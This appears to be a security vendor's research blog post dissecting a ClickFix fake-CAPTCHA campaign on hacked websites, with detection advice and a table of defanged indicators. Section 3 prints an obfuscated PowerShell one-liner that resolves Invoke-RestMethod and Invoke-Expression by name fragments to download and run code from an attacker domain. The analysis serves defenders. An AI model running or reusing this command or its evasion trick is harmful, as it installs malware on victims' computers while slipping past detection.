Shown only to people: the ClickFix chain a scanner never sees.
On 18 November our research browsers opened four hacked websites from the same list. Each one looked like an ordinary website. The attack appeared only for a visitor who moved the mouse and clicked, one step at a time. Here is the whole chain, and why it matters where you look from.
In short
- The hacked sites carried a few lines in their footer. The code checks who is visiting, sends a description of the browser to a server, and runs whatever the server sends back. A tool that visits the address on its own gets an ordinary page.
- For a real visitor, the server sent a fake verification: a checkbox, then a "device verification" screen, then the steps one per screen: hold the Windows key and press R, paste, press Enter.
- The command never writes the name of what it runs. It asks PowerShell for the list of its commands and picks two by a fragment of their names: download, then run.
- The same new domain delivered code to two hacked sites the same day, and one smart contract handed out four different download servers in three days. Seen from one address, these are unrelated pieces; seen from the browsers that met them, they are one operation.
Hosts are defanged ([.] instead of the last dot) and commands shortened where marked, so that nothing here can be clicked or run. The ClickFix lure itself is explained in What is ClickFix?
1. A footer that decides who you are
The first hacked site was a small WordPress blog. At the very end of its pages, after the theme's own scripts, sat one more script. Its words were not written as words: every name it uses (fetch, POST, localStorage, the list of the page's global names) was stored as a row of character codes, so that nothing readable stands out in the page source.
What it does, in order:
- it gives up at once if the browser looks like a search engine, a preview bot or an automated browser;
- it gives up if it already ran for this visitor recently;
- it counts real mouse movements and clicks (events a script cannot fake in the browser), which tells a person from a robot;
- it sends a description of the browser to a server whose name is computed from the date, scrambled with a simple key;
- it runs, as code, whatever the server answers.
So the attack is not in the page. It is in an answer that the server gives only to a browser it believes is a person. A scanner that opens the address, without the list that led the visitor there, without moving a mouse, gets the blog.
2. One step per screen
For our research browser the answer was a fake verification in three stages:
- a white page with the site's name, "Verify you are human by completing the action below" and an "I'm not a robot" box;
- after the click, a "One-Time Device Verification" window promising 90 days without checks, with a "Continue to Verification" button;
- then the steps, each on its own screen, starting with "Hold Windows key and press R" and two drawn keys. Along the way the command is put on the clipboard.
Splitting the steps is not only good design for the attacker. A page that shows "press Win + R, Ctrl + V and Enter" all at once is easy to recognise. A page that shows one harmless-looking instruction at a time is not, unless whatever watches it remembers the screens before.
The same files also held a version for Mac visitors: Spotlight, Terminal, and a command decoded with base64 -D and run by bash. Every string of it was hidden in an encoded table, and the whole file is skipped on a Windows computer.
3. A command that never says its name
powershell -NoProfile -c "& ((Get-Command|?{$_.Name -match ('vok.*Re'+'st')})[0].Name)('anycheckgocap[.]com') | & ((Get-Command|?{$_.Name -match ('vo'+'k.*Ex')})[0].Name)"
Security tools look for Invoke-RestMethod and Invoke-Expression, or their short forms irm and iex: download, then run. This command contains neither. It asks PowerShell for the list of every command it knows (Get-Command), keeps the first whose name matches vok.*Rest, which can only be Invoke-RestMethod, and runs it on the attacker's address. Then it does the same with vok.*Ex for Invoke-Expression. Even the fragments are split in two and glued back at run time.
The result is the classic "download and run" of every ClickFix attack, in a shape that no list of command names contains. It is the latest step in the variations described in six ways a fake CAPTCHA delivers malware.
4. What the visitor's browser can see
Everything above happens in one place: the browser of the person being attacked. ByteMantle runs there, and we rebuilt this chain in our lab, with made-up hosts and a harmless command, to check what it does:
- The code behind the footer. Scripts that hide their words in character codes, escaped strings or encoded tables are read after decoding, and, where the organisation turns it on, so is the code a page builds at run time. A script that draws a fake verification with the steps to open Run or Terminal and writes to the clipboard is recognised as the script of a ClickFix lure, whatever command it writes.
- The steps across screens. Short screens shown one after another on the same site are read together, so "open Run", "paste" and "Enter" on three screens are the same lure as on one.
- The command. A command picked from the list by a fragment of its name is read as the command it resolves to. And on a page that shows a fake verification, any command-looking text the page puts on the clipboard is treated as the attack, even in a form nobody has seen before: it is replaced before it can be pasted, and the visitor is warned.
- Time. On such a page the clipboard stays watched for minutes, not seconds, because lures with several screens take time.
5. Pieces that belong together
In an organisation, every browser that meets such a page sends its events to the ByteMantle console, which ties them together. On 18 November that showed three things a single address cannot:
- One loader, two hacked sites. A domain registered the day before,
cobaltfriobpliaon[.]pro, delivered code to two unrelated hacked sites, one on an Italian and one on a Chilean domain, the same day. The console lists it as one campaign indicator. - One smart contract, four servers. On four hacked sites the lure was read from the same smart contract (
0xb909956b…55c6, the technique explained in EtherHiding). In three days the commands on the sites of that contract pointed to four different download servers:github[.]pw,webrtwtre22[.]cc,tthcsslread21[.]cc(registered the day before) andcheckingrayid[.]com. One of the sites was attacked twice, with two different servers. Each server alone is one more address on a block list; together they are one operation that changes its address every day or two. One smart contract, a new payload server every few days describes the same pattern in another campaign. - A server that outlived its report. The WebDAV server behind a
net usecommand,185.246.223[.]71, which we described on 12 November, was still serving the same kind of command on another hacked site on 18 November.
Why it matters where you look from
A scanner that visits an address sees what the server is willing to show a scanner. Here, that was a blog. The lure, the command and the download server exist only in the session of a person who arrived from the list, moved the mouse and clicked, and the command exists only on that person's clipboard. Protection that waits for these addresses to be reported starts after the first victims; the browser where the attack actually happens can act on the first visit.
What to do
- Everyone: no real verification asks you to press Windows + R, open Terminal or paste anything. If a page does, close it. Already pasted? What to do now.
- Website owners: look at the end of your pages' source for scripts you did not add, especially ones made of numbers or encoded text; update WordPress, its plugins and themes, and change the administrator passwords.
- Security teams: alert on PowerShell started from
explorer.exe(the Run box) that usesGet-Commandwith-matchor-likeand then runs the result; do not rely on the namesirmandiex.
Indicators
| Indicator | What it is |
|---|---|
anycheckgocap[.]com | download server in the command of section 3 |
cobaltfriobpliaon[.]pro | loader on two hacked sites (registered the day before it was seen) |
adsmanagerast[.]pro, adsmanagertgo[.]click, ntqfotreqts[.]com, drefdan[.]com | scripts loaded by the first hacked site |
0xb909956b9d716ddfdf6935115a8d6f6cb2e655c6 | smart contract the lure was read from (four sites) |
github[.]pw, webrtwtre22[.]cc, tthcsslread21[.]cc, checkingrayid[.]com | download servers named by that contract's lures, 16–18 November |
185.246.223[.]71 | WebDAV server in a net use command |
How we collect this
We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware: the commands here are the text the pages put on the clipboard. The lab reproduction of section 4 uses made-up hosts and a harmless command. What customers' browsers see is never part of our research.
Read more
- One paste from a full takeover: the ClickFix fake CAPTCHA that delivers the Ghost Agent stealer
- Beyond irm | iex: six ways a fake CAPTCHA delivers malware
- One smart contract, a new payload server every few days
- Which script loaded the attacker's script?
- What is ClickFix? The copy-paste attack, explained
Stop these attacks before anything runs.
Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.